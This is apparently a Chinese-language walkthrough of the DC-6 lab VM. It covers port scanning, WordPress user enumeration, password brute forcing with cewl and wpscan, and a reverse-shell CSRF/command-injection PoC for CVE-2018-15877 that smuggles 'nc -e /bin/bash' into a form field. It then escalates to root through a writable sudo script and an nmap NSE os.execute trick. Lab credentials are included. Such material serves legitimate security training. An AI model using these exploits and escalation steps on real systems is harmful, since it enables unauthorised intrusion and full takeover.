环境:
Kali :192.168.50.128 DC-6 :192.168.50.130
00x1 信息收集
Nmap -A 192.168.50.130 收集开放的端口和服务
l@kali:~$ sudo nmap -A 192.168.50.130
Starting Nmap 7.80 ( https://nmap.org ) at 2020-04-22 14:25 CST
Nmap scan report for 192.168.50.130 (192.168.50.130)
Host is up (0.00039s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
| ssh-hostkey:
| 2048 3e:52:ce:ce:01:b6:94:eb:7b:03:7d:be:08:7f:5f:fd (RSA)
| 256 3c:83:65:71:dd:73:d7:23:f8:83:0d:e3:46:bc:b5:6f (ECDSA)
|_ 256 41:89:9e:85:ae:30:5b:e0:8f:a4:68:71:06:b4:15:ee (ED25519)
80/tcp open http Apache httpd 2.4.25 ((Debian))
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Did not follow redirect to http://wordy/
|_https-redirect: ERROR: Script execution failed (use -d to debug)
MAC Address: 00:0C:29:72:B4:FC (VMware)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE
HOP RTT ADDRESS
1 0.39 ms 192.168.50.130 (192.168.50.130)
OS and Service detection performed. Please report any incorrect results athttps://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.80 seconds
可以看到开放了80和22端口。我们访问一下80端口看看
访问不了。
在这里要配置本地dns解析,将目标ip地址(192.168.50.130 wordy)添加进hosts中。kali中是 /etc/hosts
是wordpress的cms,我们看看。前端没什么漏洞。
使用wpscan收集一下用户名,主题和插件的信息。
使用dird收集一下敏感目录
拿到信息:
WordPress version 5.1.1 WordPress theme in use: twentyseventeen
后台地址:http://wordy/wp-login.php?redirect_to=http%3A%2F%2Fwordy%2Fwp-admin%2F&reauth=1
user: Admin Graham Mark Sarah Jens
00x2 漏洞分析
我们可以使用cewl来对目标进行爬取生成一份密码字典。直接爆破用户密码。
cewl http://wordy/ -v
把密码和用户分别保存为passwd .txt user . Txt
使用wpscan 爆破
wpscan --url http://wordy -U "/home/l/桌面/user.txt" -P "/home/l/桌面/passwd.txt"
得到一个用户密码
mark helpdesk01
登录后台看看
翻来覆去,看到插件Activity。一般像word press这样成熟的cms漏洞多数在插件和主题中,所有我们要特别关注插件和主题。
msf看看有没有漏洞利用。
查看该poc,给出了poc的GitHub地址 https://github.com/aas-n/CVE/blob/master/CVE-2018-15877/
但是 404了 没事
可以看这个
https://www.exploit-db.com/raw/45274
poc:
<html>
<!-- Wordpress Plainview Activity Monitor RCE [+] Version: 20161228 and possibly prior
[+] Description: Combine OS Commanding and CSRF to get reverse shell
[+] Author: LydA(c)ric LEFEBVRE
[+] CVE-ID: CVE-2018-15877
[+] Usage: Replace 127.0.0.1 & 9999 with you ip and port to get reverse shell
[+] Note: Many reflected XSS exists on this plugin and can be combine with this exploit as well
-->
<body>
<script>history.pushState('', '', '/')</script><form action="http://localhost:8000/wp-admin/admin.php?page=plainview_activity_monitor&tab=activity_tools" method="POST" enctype="multipart/form-data">
<input type="hidden" name="ip" value="google.fr| nc -nlvp 127.0.0.1 9999 -e /bin/bash" />
<input type="hidden" name="lookup" value="Lookup" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
00x3 漏洞利用
打开burp 看看数据包
根据poc构造数据包
看来漏洞是存在的 whoami 可以看到 www-data
反弹个shell到kali中吧
拿到反弹回来的shell
使用python拿一个标准的bash shell
成功拿到
00x4 后渗透/提权
信息收集一波看看
翻来覆去,在/home/mark/stuff中发现tings-to-do.txt
cat打开拿到一个user和passwd
graham - GSo7isUM1D4
登录看看。
登录成功
信息收集一下
可以看到jens可以免密码使用backups.sh的文件
ok 我们利用一下
cd /home/jens/2
vi /backups.sh
输入/bin/bash/
然后sudo -u jens ./backups.sh
whoami看看
好的,是jens用户了 信息收集一波
可以看到jens可以免密码运行nmap
那么我们可以通过nmap指令调用自己设定好的脚本执行/bin/bash
echo "os.execute('bin/bash')" > /tmp/1.nse
成功拿到root权限。